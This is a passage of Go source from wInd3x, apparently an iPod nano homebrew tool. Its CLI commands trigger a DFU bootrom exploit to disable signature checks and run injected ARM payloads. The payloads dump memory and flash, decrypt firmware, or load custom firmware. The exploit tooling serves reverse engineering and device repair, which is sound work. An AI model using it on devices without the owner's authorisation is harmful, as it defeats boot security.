	bootb, err := cache.Get(app, cache.PayloadKindBootloaderDecrypted)
	if err != nil {
		return nil, fmt.Errorf("when getting bootloader: %w", err)
	}
	booti, err := image.Read(bytes.NewReader(bootb))
	if err != nil {
		return nil, fmt.Errorf("when reading bootloader: %w", err)
	}
	boot, err := efi.ReadVolume(efi.NewNestedReader(booti.Body))
	if err != nil {
		return nil, fmt.Errorf("when reading bootloader fv: %w", err)
	}

	fv := &findVisitor{
		want: []string{
			"DiskIoDxe",
			"Partition",
			"Image1FSReadOnly",
			"Nand",
		},
	}
	if err := cfw.VisitVolume(boot, fv); err != nil {
		return nil, fmt.Errorf("when visiting bootloader: %w", err)
	}
	if want, got := len(fv.want), len(fv.found); want != got {
		return nil, fmt.Errorf("did not find all requested modules (wanted %v, got %d)", fv.want, len(fv.found))
	}

	slog.Debug("Before append", "files", len(diag.Files))
	diag.Files = append(diag.Files, fv.found...)
	slog.Debug("After append", "files", len(diag.Files))
	diagb, err = diag.Serialize()
	if err != nil {
		return nil, fmt.Errorf("could not serialize superdiags fv: %w", err)
	}
	diagbi, err := image.MakeUnsigned(diagi.DeviceKind, diagi.Header.Entrypoint, diagb)
	if err != nil {
		return nil, fmt.Errorf("could not make superdiags image: %w", err)
	}
	return diagbi, nil
}

var cfwSuperdiagsCmd = &cobra.Command{
	Use:   "superdiags",
	Short: "Run superdiags",
	Long:  "Run superdiags (diag with extra Nand driver). If your iPod has a connected DCSD cable, you'll be able to access a console over it.",
	RunE: func(cmd *cobra.Command, args []string) error {

		app, err := newDFU()
		if err != nil {
			return err
		}
		defer app.Close()

		diags, err := superdiags(&app.App)
		if err != nil {
			return err
		}

		wtf, err := cache.Get(&app.App, cache.PayloadKindWTFDefanged)
		if err != nil {
			return err
		}

		if err := haxeddfu.Trigger(app.Usb, app.Ep, false); err != nil {
			return fmt.Errorf("failed to run wInd3x exploit: %w", err)
		}
		slog.Info("Sending defanged WTF...")
		if err := dfu.SendImage(app.Usb, wtf, app.Desc.Kind.DFUVersion()); err != nil {
			return fmt.Errorf("failed to send image: %w", err)
		}

		slog.Info("Waiting 10s for device to switch to WTF mode...")
		ctx, ctxC := context.WithTimeout(cmd.Context(), 10*time.Second)
		defer ctxC()
		if err := app.waitSwitch(ctx, devices.WTF); err != nil {
			return fmt.Errorf("device did not switch to WTF mode: %w", err)
		}
		time.Sleep(time.Second)

		slog.Info("Sending diags...")
		for i := 0; i < 10; i++ {
			err = dfu.SendImage(app.Usb, diags, app.Desc.Kind.DFUVersion())
			if err == nil {
				break
			} else {
				slog.Error("Error when sending diags", "err", err)
				time.Sleep(time.Second)
			}
		}
		if err != nil {
			return err
		}

		slog.Info("Done.")

		return nil
	},
}

var cfwRunCmd = &cobra.Command{
	Use:   "run [firmware]",
	Short: "Run CFW",
	Long:  "Run CFW based on modified WTF and firmware (eg. modified OSOS or u-boot)",
	Args:  cobra.ExactArgs(1),
	RunE: func(cmd *cobra.Command, args []string) error {

		app, err := newDFU()
		if err != nil {
			return err
		}
		defer app.Close()

		fwb, err := os.ReadFile(args[0])
		if err != nil {
			return err
		}

		wtf, err := cache.Get(&app.App, cache.PayloadKindWTFDefanged)
		if err != nil {
			return err
		}

		if err := haxeddfu.Trigger(app.Usb, app.Ep, false); err != nil {
			return fmt.Errorf("failed to run wInd3x exploit: %w", err)
		}
		slog.Info("Sending defanged WTF...")
		if err := dfu.SendImage(app.Usb, wtf, app.Desc.Kind.DFUVersion()); err != nil {
			return fmt.Errorf("failed to send image: %w", err)
		}

		_, err = image.Read(bytes.NewReader(fwb))
		switch {
		case err == nil:
		case err == image.ErrNotImage1:
			fallthrough
		case len(fwb) < 0x400:
			slog.Info("Given firmware file is not IMG1, packing into one...")
			fwb, err = image.MakeUnsigned(app.Desc.Kind, 0, fwb)
			if err != nil {
				return err
			}
		default:
			return err
		}

		slog.Info("Waiting 10s for device to switch to WTF mode...")
		ctx, ctxC := context.WithTimeout(cmd.Context(), 10*time.Second)
		defer ctxC()
		if err := app.waitSwitch(ctx, devices.WTF); err != nil {
			return fmt.Errorf("device did not switch to WTF mode: %w", err)
		}
		time.Sleep(time.Second)

		slog.Info("Sending firmware...")
		for i := 0; i < 10; i++ {
			err = dfu.SendImage(app.Usb, fwb, app.Desc.Kind.DFUVersion())
			if err == nil {
				break
			} else {
				slog.Error("Error when sending firmware", "err", err)
				time.Sleep(time.Second)
			}
		}
		if err != nil {
			return err
		}

		slog.Info("Done.")

		return nil
	},
}


================================================
FILE: cmd/wInd3x/cmd_decrypt.go
================================================
package main

import (
	"fmt"
	"log/slog"
	"os"

	"github.com/freemyipod/wInd3x/pkg/exploit/decrypt"
	"github.com/freemyipod/wInd3x/pkg/image"
	"github.com/spf13/cobra"
)

var decryptRecovery string

var decryptCmd = &cobra.Command{
	Use:   "decrypt [input] [output]",
	Short: "Decrypt DFU image",
	Long:  "Uses a connected device to decrypt a DFU image into a Haxed DFU compatible plaintext DFU image.",
	Args:  cobra.ExactArgs(2),
	RunE: func(cmd *cobra.Command, args []string) error {
		f, err := os.Open(args[0])
		if err != nil {
			return fmt.Errorf("could not open input: %w", err)
		}

		img, err := image.Read(f)
		if err != nil {
			return fmt.Errorf("could not read image: %w", err)
		}

		app, err := newDFU()
		if err != nil {
			return err
		}
		defer app.Close()

		if app.Desc.Kind != img.DeviceKind {
			return fmt.Errorf("image is for %s, but %s is connected", img.DeviceKind, app.Desc.Kind)
		}

		res, err := decrypt.Decrypt(&app.App, img.Body, decryptRecovery)
		if err != nil {
			return err
		}

		// Write image.
		wrapped, err := image.MakeUnsigned(img.DeviceKind, img.Header.Entrypoint, res)
		if err != nil {
			return fmt.Errorf("could not make image: %w", err)
		}

		if err := os.WriteFile(args[1], wrapped, 0600); err != nil {
			return fmt.Errorf("could not write image: %w", err)
		}

		slog.Info("Done!")

		return nil
	},
}


================================================
FILE: cmd/wInd3x/cmd_download.go
================================================
package main

import (
	"fmt"
	"log/slog"
	"os"
	"sort"
	"strings"

	"github.com/freemyipod/wInd3x/pkg/cache"
	"github.com/spf13/cobra"
)

var downloadBits = map[string]cache.PayloadKind{
	"wtf":        cache.PayloadKindWTFUpstream,
	"bootloader": cache.PayloadKindBootloaderUpstream,
	"retailos":   cache.PayloadKindRetailOSUpstream,
	"diags":      cache.PayloadKindDiagsUpstream,
}

var downloadCmd = &cobra.Command{
	Use:   "download [kind] [output path]",
	Short: "Download update files from Apple's CDN",
	Args:  cobra.ExactArgs(2),
	RunE: func(cmd *cobra.Command, args []string) error {
		app, err := newDFU()
		if err != nil {
			return err
		}
		defer app.Close()

		kind, ok := downloadBits[args[0]]
		if !ok {
			var opts []string
			for k := range downloadBits {
				opts = append(opts, k)
			}
			sort.Strings(opts)
			return fmt.Errorf("invalid kind, must be one of: %s", strings.Join(opts, ", "))
		}

		by, err := cache.Get(&app.App, kind)
		if err != nil {
			return err
		}
		if err := os.WriteFile(args[1], by, 0600); err != nil {
			return err
		}
		slog.Info("Wrote file", "kind", args[0], "path", args[1])
		return nil
	},
}


================================================
FILE: cmd/wInd3x/cmd_dump.go
================================================
package main

import (
	"fmt"
	"log/slog"
	"os"
	"time"

	"github.com/spf13/cobra"

	"github.com/freemyipod/wInd3x/pkg/exploit/dumpmem"
)

var dumpCmd = &cobra.Command{
	Use:   "dump [offset] [size] [file]",
	Short: "Dump memory to file",
	Long:  "Read memory from a connected device and write results to a file. Not very fast.",
	Args:  cobra.ExactArgs(3),
	RunE: func(cmd *cobra.Command, args []string) error {
		app, err := newDFU()
		if err != nil {
			return err
		}
		defer app.Close()

		offset, err := parseNumber(args[0])
		if err != nil {
			return fmt.Errorf("invalid offset")
		}
		size, err := parseNumber(args[1])
		if err != nil {
			return fmt.Errorf("invalid size")
		}

		f, err := os.Create(args[2])
		if err != nil {
			return fmt.Errorf("could not open file for writing: %w", err)
		}
		defer f.Close()

		start := time.Now()
		for i := uint32(0); i < size; i += 0x40 {
			o := offset + i
			slog.Info("Dumping...", "offset", o)
			data, err := dumpmem.Trigger(app.Usb, app.Ep, o)
			if err != nil {
				return fmt.Errorf("failed to run wInd3x exploit: %w", err)
			}
			if _, err := f.Write(data); err != nil {
				return fmt.Errorf("failed to write: %w", err)
			}
		}
		took := time.Since(start)
		slog.Info("Done!", "bytes", size, "seconds", int(took.Seconds()), "bps", int(float64(size)/took.Seconds()))

		return nil
	},
}


================================================
FILE: cmd/wInd3x/cmd_haxdu.go
================================================
package main

import (
	"fmt"

	"github.com/spf13/cobra"

	"github.com/freemyipod/wInd3x/pkg/exploit/haxeddfu"
)

var haxDFUCmd = &cobra.Command{
	Use:   "haxdfu",
	Short: "Started 'haxed dfu' mode on a device",
	Long:  "Runs the wInd3x exploit to turn off security measures in the DFU that's currently running on a connected devices, allowing unsigned/unencrypted images to run.",
	RunE: func(cmd *cobra.Command, args []string) error {
		app, err := newDFU()
		if err != nil {
			return err
		}
		defer app.Close()

		if err := haxeddfu.Trigger(app.Usb, app.Ep, false); err != nil {
			return fmt.Errorf("failed to run wInd3x exploit: %w", err)
		}

		return nil
	},
}


================================================
FILE: cmd/wInd3x/cmd_makedfu.go
================================================
package main

import (
	"fmt"
	"os"
	"strings"

	"github.com/spf13/cobra"

	"github.com/freemyipod/wInd3x/pkg/devices"
	"github.com/freemyipod/wInd3x/pkg/image"
)

var (
	makeDFUEntrypoint string
	makeDFUDeviceKind string
)
var makeDFUCmd = &cobra.Command{
	Use:   "makedfu [input] [output]",
	Short: "Build 'haxed dfu' unsigned image from binary",
	Long:  "Wraps a flat binary (loadable at 0x2200_0000) into an unsigned and unencrypted DFU image, to use with haxdfu/run.",
	Args:  cobra.ExactArgs(2),
	RunE: func(cmd *cobra.Command, args []string) error {
		data, err := os.ReadFile(args[0])
		if err != nil {
			return fmt.Errorf("could not read input: %w", err)
		}

		var kind devices.Kind
		switch strings.ToLower(makeDFUDeviceKind) {
		case "":
			return fmt.Errorf("--kind must be set (one of: n3g, n4g, n5g)")
		case "n3g":
			kind = devices.Nano3
		case "n4g":
			kind = devices.Nano4
		case "n5g":
			kind = devices.Nano5
		default:
			return fmt.Errorf("--kind must be one of: n3g, n4g, n5g")
		}

		entrypoint, err := parseNumber(makeDFUEntrypoint)
		if err != nil {
			return fmt.Errorf("invalid entrypoint")
		}
		wrapped, err := image.MakeUnsigned(kind, entrypoint, data)
		if err != nil {
			return fmt.Errorf("could not make image: %w", err)
		}

		if err := os.WriteFile(args[1], wrapped, 0600); err != nil {
			return fmt.Errorf("could not write image: %w", err)
		}

		return nil
	},
}


================================================
FILE: cmd/wInd3x/cmd_mse.go
================================================
package main

import (
	"fmt"
	"log/slog"
	"os"
	"path/filepath"

	"github.com/spf13/cobra"

	"github.com/freemyipod/wInd3x/pkg/mse"
)

var extractDir string

var mseCmd = &cobra.Command{
	Use:   "mse",
	Short: "Manipulate .mse firmware files",
}

var mseExtractCmd = &cobra.Command{
	Use:   "extract [Firmware.mse]",
	Short: "Extract an .mse firmware flie into images",
	Long:  "Split an .mse file into individual images like osos, disk, etc.",
	Args:  cobra.ExactArgs(1),
	RunE: func(cmd *cobra.Command, args []string) error {
		f, err := os.Open(args[0])
		if err != nil {
			return fmt.Errorf("could not read input: %w", err)
		}

		defer f.Close()
		m, err := mse.Parse(f)
		if err != nil {
			return fmt.Errorf("could not parse .mse: %w", err)
		}

		dir := extractDir
		if dir == "" {
			dir, err = os.Getwd()
			if err != nil {
				return fmt.Errorf("could not get working directory: %w", err)
			}
		}
		for _, file := range m.Files {
			if !file.Header.Valid() {
				continue
			}
			path := filepath.Join(dir, file.Header.Name.String())
			slog.Info("Extracting ...", "path", path)
			if err := os.WriteFile(path, file.Data, 0666); err != nil {
				return err
			}
		}

		return nil
	},
}


================================================
FILE: cmd/wInd3x/cmd_nand_read.go
================================================
package main

import (
	"fmt"
	"log/slog"
	"os"

	"github.com/freemyipod/wInd3x/pkg/app"
	"github.com/freemyipod/wInd3x/pkg/dfu"
	"github.com/freemyipod/wInd3x/pkg/exploit"
	"github.com/freemyipod/wInd3x/pkg/uasm"
	"github.com/spf13/cobra"
)

var nandCmd = &cobra.Command{
	Use:   "nand",
	Short: "NAND Flash access (EXPERIMENTAL)",
	Long:  "Manipulate NAND Flash on the device. Currently this is EXPERIMENTAL, as the NAND access methods are not well reverse engineered.",
}

func nandReadPageOffset(a *app.App, bank, page, offset uint32) ([]byte, error) {
	ep := a.Ep
	usb := a.Usb

	listing, dataAddr := ep.NANDReadPage(bank, page, offset)
	listing = append(listing, ep.HandlerFooter(dataAddr)...)
	read := uasm.Program{
		Address: ep.ExecAddr(),
		Listing: listing,
	}

	if err := dfu.Clean(usb); err != nil {
		return nil, fmt.Errorf("clean failed: %w", err)
	}

	resBuf, err := exploit.RCE(usb, ep, read.Assemble(), nil)
	if err != nil {
		return nil, fmt.Errorf("failed to execute read payload: %w", err)
	}
	return resBuf, nil
}

func nandIdentify(a *app.App) ([]byte, error) {
	ep := a.Ep
	usb := a.Usb

	listing, dataAddr := ep.NANDIdentify()
	listing = append(listing, ep.HandlerFooter(dataAddr)...)
	read := uasm.Program{
		Address: ep.ExecAddr(),
		Listing: listing,
	}

	if err := dfu.Clean(usb); err != nil {
		return nil, fmt.Errorf("clean failed: %w", err)
	}

	resBuf, err := exploit.RCE(usb, ep, read.Assemble(), nil)
	if err != nil {
		return nil, fmt.Errorf("failed to execute read payload: %w", err)
	}
	return resBuf, nil
}

var nandIdentifyCmd = &cobra.Command{
	Use:   "identify [bank]",
	Short: "Read NAND identifier for bank",
	Long:  "Read NAND identifer for bank",
	Args:  cobra.ExactArgs(1),
	RunE: func(cmd *cobra.Command, args []string) error {
		app, err := newDFU()
		if err != nil {
			return err
		}
		defer app.Close()

		bank, err := parseNumber(args[0])
		if err != nil {
			return fmt.Errorf("invalid bank")
		}
		ep := app.Ep
		usb := app.Usb

		listing := ep.DisableICache()
		payload, err := ep.NANDInit(bank)
		if err != nil {
			return err
		}
		listing = append(listing, payload...)
		listing = append(listing, ep.HandlerFooter(0x20000000)...)
		init := uasm.Program{
			Address: ep.ExecAddr(),
			Listing: listing,
		}

		if err := dfu.Clean(app.Usb); err != nil {
			return fmt.Errorf("clean failed: %w", err)
		}

		if _, err := exploit.RCE(usb, ep, init.Assemble(), nil); err != nil {
			return fmt.Errorf("failed to execute init payload: %w", err)
		}

		data, err := nandIdentify(&app.App)
		if err != nil {
			return err
		}

		fmt.Printf("JEDEC manufacturer ID: 0x%02X\n", data[0])
		fmt.Printf("JEDEC device ID: 0x%02X 0x%02X 0x%02X\n", data[1], data[2], data[3])

		return nil
	},
}

var nandReadCmd = &cobra.Command{
	Use:   "read [bank] [file]",
	Short: "Read NAND bank",
	Long:  "Read a 0x60000 'bank' (maybe?) of NAND. Slowly. Bank 0 contains the bootloader.",
	Args:  cobra.ExactArgs(2),
	RunE: func(cmd *cobra.Command, args []string) error {
		app, err := newDFU()
		if err != nil {
			return err
		}
		defer app.Close()

		bank, err := parseNumber(args[0])
		if err != nil {
			return fmt.Errorf("invalid bank")
		}
		ep := app.Ep
		usb := app.Usb

		f, err := os.Create(args[1])
		if err != nil {
			return err
		}

		listing := ep.DisableICache()
		payload, err := ep.NANDInit(bank)
		if err != nil {
			return err
		}
		listing = append(listing, payload...)
		listing = append(listing, ep.HandlerFooter(0x20000000)...)
		init := uasm.Program{
			Address: ep.ExecAddr(),
			Listing: listing,
		}

		if err := dfu.Clean(app.Usb); err != nil {
			return fmt.Errorf("clean failed: %w", err)
		}

		if _, err := exploit.RCE(usb, ep, init.Assemble(), nil); err != nil {
			return fmt.Errorf("failed to execute init payload: %w", err)
		}

		for p := uint32(0); p < 0x100; p += 1 {
			slog.Info("Progress...", "percent", float32(p)*100/0x100)
			for offs := uint32(0); offs < 0x600; offs += 0x40 {
				data, err := nandReadPageOffset(&app.App, bank, p, offs)
				if err != nil {
					return err
				}
				f.Write(data)
			}
		}
		return nil
	},
}


================================================
FILE: cmd/wInd3x/cmd_nor_read.go
================================================
package main

import (
	"fmt"
	"io"
	"log/slog"
	"os"

	"github.com/freemyipod/wInd3x/pkg/app"
	"github.com/freemyipod/wInd3x/pkg/dfu"
	"github.com/freemyipod/wInd3x/pkg/exploit"
	"github.com/freemyipod/wInd3x/pkg/uasm"
	"github.com/spf13/cobra"
)

var norCmd = &cobra.Command{
	Use:   "nor",
	Short: "NOR Flash access (EXPERIMENTAL)",
	Long:  "Manipulate SPI NOR Flash on the device. Currently this is EXPERIMENTAL, as the SPI NOR access methods are not well reverse engineered.",
}

func readNOR(app *app.App, w io.Writer, spino, offset, size uint32) error {
	ep := app.Ep
	usb := app.Usb

	listing := ep.DisableICache()
	payload, err := ep.NORInit(spino)
	if err != nil {
		return err
	}
	listing = append(listing, payload...)
	listing = append(listing, ep.HandlerFooter(0x20000000)...)
	init := uasm.Program{
		Address: ep.ExecAddr(),
		Listing: listing,
	}
	if err := dfu.Clean(app.Usb); err != nil {
		return fmt.Errorf("clean failed: %w", err)
	}

	if _, err := exploit.RCE(usb, ep, init.Assemble(), nil); err != nil {
		return fmt.Errorf("failed to execute init payload: %w", err)
	}

	for i := uint32(0); i < size; i += 0x40 {
		listing, dataAddr := ep.NORRead(spino, offset+i)
		listing = append(listing, ep.HandlerFooter(dataAddr)...)
		read := uasm.Program{
			Address: ep.ExecAddr(),
			Listing: listing,
		}
		if err := dfu.Clean(app.Usb); err != nil {
			return fmt.Errorf("clean failed: %w", err)
		}

		data, err := exploit.RCE(usb, ep, read.Assemble(), nil)
		if err != nil {
			return fmt.Errorf("failed to execute read payload: %w", err)
		}
		if _, err := w.Write(data); err != nil {
			return fmt.Errorf("failed to write: %w", err)
		}
	}
	return nil
}

var norReadCmd = &cobra.Command{
	Use:   "read [spino] [address] [count] [file]",
	Short: "Read NOR flash",
	Long:  "Read N bytes from an address from given SPI peripheral.",
	Args:  cobra.ExactArgs(4),
	RunE: func(cmd *cobra.Command, args []string) error {
		app, err := newDFU()
		if err != nil {
			return err
		}
		defer app.Close()

		spino, err := parseNumber(args[0])
		if err != nil {
			return fmt.Errorf("invalid spi peripheral number")
		}
		address, err := parseNumber(args[1])
		if err != nil {
			return fmt.Errorf("invalid address")
		}
		count, err := parseNumber(args[2])
		if err != nil {
			return fmt.Errorf("invalid count")
		}

		f, err := os.Create(args[3])
		if err != nil {
			return err
		}
		slog.Info("Reading NOR...", "address", address, "spi", spino, "bytes", count)
		err = readNOR(&app.App, f, spino, address, count)
		if err != nil {
			return err
		}
		slog.Info("Done")
		return nil
	},
}


================================================
FILE: cmd/wInd3x/cmd_restore.go
================================================
package main

import (
	"context"
	"fmt"
	"log/slog"
	"time"

	"github.com/spf13/cobra"

	"github.com/freemyipod/wInd3x/pkg/cache"
	"github.com/freemyipod/wInd3x/pkg/devices"
	"github.com/freemyipod/wInd3x/pkg/dfu"
	"github.com/freemyipod/wInd3x/pkg/usbms"
)

var restoreFull bool
var restoreVersion string

var restoreCmd = &cobra.Command{
	Use:   "restore",
	Short: "Restore iPod to stock firmware",
	Long:  "Restores an iPod to stock/factory firmware from DFU mode, downloading everything necessary along the way. You _will_ lose all data stored on the device.",
	Args:  cobra.ExactArgs(0),
	RunE: func(cmd *cobra.Command, args []string) error {

		app, err := newAny()
		if err != nil {
			return err
		}
		defer app.Close()

		hasBootloader := true
		switch app.Desc.Kind {
		case devices.Nano3:
			hasBootloader = false
		}

		switch restoreVersion {
		case "list":
			versions := cache.GetFirmwareVersions(app.Desc.Kind)
			slog.Info("Available versions:", "kind", app.Desc.Kind)
			for _, version := range versions {
				slog.Info(fmt.Sprintf("- %s", version))
			}
			return nil
		case "", "current":
		default:
			cache.FirmwareVersionOverrides = map[devices.Kind]string{
				app.Desc.Kind: restoreVersion,
			}
		}

		firmware, err := cache.Get(&app.App, cache.PayloadKindFirmwareUpstream)
		if err != nil {
			return fmt.Errorf("could not get firmware: %w", err)
		}

		var bootloader []byte
		if hasBootloader {
			bootloader, err = cache.Get(&app.App, cache.PayloadKindBootloaderUpstream)
			if err != nil {
				return fmt.Errorf("could not get bootloader: %s", err)
			}
		}

		for {
			slog.Info("Found device", "device", app.Desc.Kind, "interface", app.InterfaceKind)
			switch app.InterfaceKind {
			case devices.DFU:
				wtf, err := cache.Get(&app.App, cache.PayloadKindWTFUpstream)
				if err != nil {
					return fmt.Errorf("could not get wtf payload: %s", err)
				}
				slog.Info("Sending WTF...")
				if err := dfu.SendImage(app.Usb, wtf, app.Desc.Kind.DFUVersion()); err != nil {
					return fmt.Errorf("Failed to send image: %w", err)
				}
				slog.Info("Waiting 10s for device to switch to WTF mode...")
				ctx, _ := context.WithTimeout(cmd.Context(), 10*time.Second)
				if err := app.waitSwitch(ctx, devices.WTF); err != nil {
					return fmt.Errorf("device did not switch to WTF mode: %w", err)
				}
				time.Sleep(time.Second)
			case devices.WTF:
				recovery, err := cache.Get(&app.App, cache.PayloadKindRecoveryUpstream)
				if err != nil {
					return fmt.Errorf("could not get recovery payload: %s", err)
				}
				slog.Info("Sending recovery firmware...")
				for i := 0; i < 10; i++ {
					err = dfu.SendImage(app.Usb, recovery, app.Desc.Kind.DFUVersion())
					if err == nil {
						break
					} else {
						slog.Error("Sending recovery failed", "err", err)
						time.Sleep(time.Second)
					}
				}
				if err != nil {
					return err
				}
				slog.Info("Waiting 30s for device to switch to Recovery mode...")
				ctx, _ := context.WithTimeout(cmd.Context(), 30*time.Second)
				if err := app.waitSwitch(ctx, devices.Disk); err != nil {
					return fmt.Errorf("device did not switch to Recovery mode: %w", err)
				}
				time.Sleep(time.Second)
			case devices.Disk:
				h := usbms.Host{
					Endpoints: app.MSEndpoints,
				}
				di, err := h.IPodDeviceInformation()
				if err != nil {
					slog.Error("Could not get device information", "err", err)
				} else {
					fmt.Printf("SerialNumber: %s\n", di.SerialNumber)
					fmt.Printf("     BuildID: %s\n", di.BuildID)
				}

				if restoreFull {
					partsize := len(firmware)
					slog.Info("Reformatting system partition...", "mib", partsize>>20)
					if err := h.IPodRepartition(partsize); err != nil {
						return fmt.Errorf("repartitioning failed: %w", err)
					}
					if hasBootloader {
						slog.Info("Writing bootloader...")
						if err := h.IPodUpdateSendFull(usbms.IPodUpdateBootloader, bootloader); err != nil {
							return fmt.Errorf("writing bootloader failed: %w", err)
						}
					}
				}
				slog.Info("Writing firmware...")
				if err := h.IPodUpdateSendFull(usbms.IPodUpdateFirmware, firmware); err != nil {
					return fmt.Errorf("writing firmware failed: %w", err)
				}

				if restoreFull {
					slog.Info("Finalizing...")
					if err := h.IPodFinalize(false); err != nil {
						return fmt.Errorf("rebooting failed: %w", err)
					}
					slog.Info("Please reformat the main partition of the device as FAT32, otherwise it will refuse to boot.")
				} else {
					slog.Info("Resetting...")
					if err := h.IPodFinalize(true); err != nil {
						return fmt.Errorf("rebooting failed: %w", err)
					}
				}

				return nil
			}
		}
	},
}


================================================
FILE: cmd/wInd3x/cmd_run.go
================================================
package main

import (
	"bytes"
	"fmt"
	"log/slog"
	"os"

	"github.com/spf13/cobra"

	"github.com/freemyipod/wInd3x/pkg/dfu"
	"github.com/freemyipod/wInd3x/pkg/exploit/haxeddfu"
	"github.com/freemyipod/wInd3x/pkg/image"
)

var runCmd = &cobra.Command{
	Use:   "run [dfu image path]",
	Short: "Run a DFU image on a device",
	Long:  "Run a DFU image (signed/encrypted or unsigned) on a connected device, starting haxed dfu mode first if necessary.",
	Args:  cobra.ExactArgs(1),
	RunE: func(cmd *cobra.Command, args []string) error {
		app, err := newDFU()
		if err != nil {
			return err
		}
		defer app.Close()

		if err := haxeddfu.Trigger(app.Usb, app.Ep, false); err != nil {
			return fmt.Errorf("failed to run wInd3x exploit: %w", err)
		}

		path := args[0]
		slog.Info("Uploading...", "path", path)
		data, err := os.ReadFile(path)
		if err != nil {
			return fmt.Errorf("Failed to read image: %w", err)
		}

		_, err = image.Read(bytes.NewReader(data))
		switch {
		case err == nil:
		case err == image.ErrNotImage1:
			fallthrough
		case len(data) < 0x400:
			slog.Info("Given firmware file is not IMG1, packing into one...")
			data, err = image.MakeUnsigned(app.Desc.Kind, 0, data)
			if err != nil {
				return err
			}
		default:
			return err
		}

		if err := dfu.Clean(app.Usb); err != nil {
			return fmt.Errorf("Failed to clean: %w", err)
		}
		if err := dfu.SendImage(app.Usb, data, app.Desc.Kind.DFUVersion()); err != nil {
			return fmt.Errorf("Failed to send image: %w", err)
		}
		slog.Info("Image sent.")

		return nil
	},
}


================================================
FILE: cmd/wInd3x/cmd_spew.go
================================================
package main

import (
	"bytes"
	"encoding/binary"
	"fmt"
	"os"
	"strings"

	"github.com/freemyipod/wInd3x/pkg/app"
	"github.com/freemyipod/wInd3x/pkg/devices"
	"github.com/freemyipod/wInd3x/pkg/dfu"
	"github.com/freemyipod/wInd3x/pkg/exploit"
	"github.com/freemyipod/wInd3x/pkg/syscfg"
	"github.com/freemyipod/wInd3x/pkg/uasm"
	"github.com/spf13/cobra"
)

func readFrom(app *app.App, addr uint32) ([]byte, error) {
	if err := dfu.Clean(app.Usb); err != nil {
		return nil, fmt.Errorf("clean failed: %w", err)
	}

	dump := uasm.Program{
		Address: app.Ep.ExecAddr(),
		Listing: app.Ep.HandlerFooter(addr),
	}
	res, err := exploit.RCE(app.Usb, app.Ep, dump.Assemble(), nil)
	if err != nil {
		return nil, fmt.Errorf("failed to execute dump payload: %w", err)
	}
	return res, nil
}

func readCP15(app *app.App, register, reg2, opc2 uint8) (uint32, error) {
	insns := app.Ep.DisableICache()
	insns = append(insns,
		uasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x22000100)},
		// Read ID code.
		uasm.Mrc{CPn: 15, Opc: 0, Dest: uasm.R0, CRn: register, CRm: reg2, Opc2: opc2},
		uasm.Str{Src: uasm.R0, Dest: uasm.Deref(uasm.R1, 0)},
	)
	insns = append(insns, app.Ep.HandlerFooter(0x22000100)...)
	program := uasm.Program{
		Address: app.Ep.ExecAddr(),
		Listing: insns,
	}
	if err := dfu.Clean(app.Usb); err != nil {
		return 0, fmt.Errorf("clean failed: %w", err)
	}
	data, err := exploit.RCE(app.Usb, app.Ep, program.Assemble(), nil)
	if err != nil {
		return 0, fmt.Errorf("Failed to read ID code: %w", err)
	}
	var idcode uint32
	binary.Read(bytes.NewBuffer(data), binary.LittleEndian, &idcode)
	return idcode, nil
}

func readCP14(app *app.App, opc2, reg2 uint8) (uint32, error) {
	insns := app.Ep.DisableICache()
	insns = append(insns,
		uasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x22000100)},
		// Read ID code.
		uasm.Mrc{CPn: 14, Opc: 0, Dest: uasm.R0, CRn: 0, CRm: reg2, Opc2: opc2},
		uasm.Str{Src: uasm.R0, Dest: uasm.Deref(uasm.R1, 0)},
	)
	insns = append(insns, app.Ep.HandlerFooter(0x22000100)...)
	program := uasm.Program{
		Address: app.Ep.ExecAddr(),
		Listing: insns,
	}
	if err := dfu.Clean(app.Usb); err != nil {
		return 0, fmt.Errorf("clean failed: %w", err)
	}
	data, err := exploit.RCE(app.Usb, app.Ep, program.Assemble(), nil)
	if err != nil {
		return 0, fmt.Errorf("Failed to read ID code: %w", err)
	}
	var idcode uint32
	binary.Read(bytes.NewBuffer(data), binary.LittleEndian, &idcode)
	return idcode, nil
}

func dumpCP15(app *app.App) {
	is1176 := false
	idcode, err := readCP15(app, 0, 0, 0)
	partnum := (idcode >> 4) & 0xfff
	if err != nil {
		fmt.Printf("Failed to read ID Code: %v", err)
	} else {
		fmt.Printf("ID code: 0x%08x\n", idcode)
		switch (idcode >> 24) & 0xff {
		case 'A':
			fmt.Printf("  Implementer: ARM\n")
		default:
			fmt.Printf("  Implementer: unknown (0x%02x)\n", (idcode>>24)&0xff)
		}
		fmt.Printf("  Variant: 0x%x\n", (idcode>>20)&0xf)
		switch (idcode >> 16) & 0xf {
		case 6:
			fmt.Printf("  Architecture: ARMv5TEJ\n")
		case 0xf:
			fmt.Printf("  Architecture: See CPUID\n")
			is1176 = true
		default:
			fmt.Printf("  Architecture: unknown (%0x)\n", (idcode>>16)&0xf)
		}
		fmt.Printf("  Part number: %03x, Revision: %x\n", partnum, idcode&0xf)
	}

	fmt.Println("Extra Junk:")
	for _, el := range []struct {
		only1176 bool
		reg1     uint8
		reg2     uint8
		opc2     uint8
		desc     string
	}{
		{false, 0, 0, 0, "Main ID"},
		{false, 0, 0, 1, "Cache Type"},
		{false, 0, 0, 2, "TCM Status"},
		{false, 0, 0, 3, "TLB Type"},

		{true, 0, 1, 0, "Processor Feature 0"},
		{true, 0, 1, 1, "Processor Feature 1"},
		{true, 0, 1, 2, "Debug Feature 0"},
		{true, 0, 1, 3, "Auxiliary Feature 0"},
		{true, 0, 1, 4, "Memory Model Feature 0"},
		{true, 0, 1, 5, "Memory Model Feature 1"},
		{true, 0, 1, 6, "Memory Model Feature 2"},
		{true, 0, 1, 7, "Memory Model Feature 3"},

		{true, 0, 2, 0, "Instruction Set Feature Attribute 0"},
		{true, 0, 2, 1, "Instruction Set Feature Attribute 1"},
		{true, 0, 2, 2, "Instruction Set Feature Attribute 2"},
		{true, 0, 2, 3, "Instruction Set Feature Attribute 3"},
		{true, 0, 2, 4, "Instruction Set Feature Attribute 4"},
		{true, 0, 2, 5, "Instruction Set Feature Attribute 5"},

		{false, 1, 0, 0, "Control"},
		{true, 1, 0, 1, "Auxiliary Control"},
		{true, 1, 0, 2, "Coprocessor Access Control"},
		{true, 1, 1, 0, "Secure Configuration"},
		{true, 1, 1, 1, "Secure Debug Enable"},
		{true, 1, 1, 2, "Non-Secure Access Control"},

		{false, 2, 0, 0, "Translation Table Base 0"},
		{true, 2, 0, 1, "Translation Table Base 1"},
		{true, 2, 0, 2, "Translation Table Base Control"},

		{false, 3, 0, 0, "Domain Access Control"},
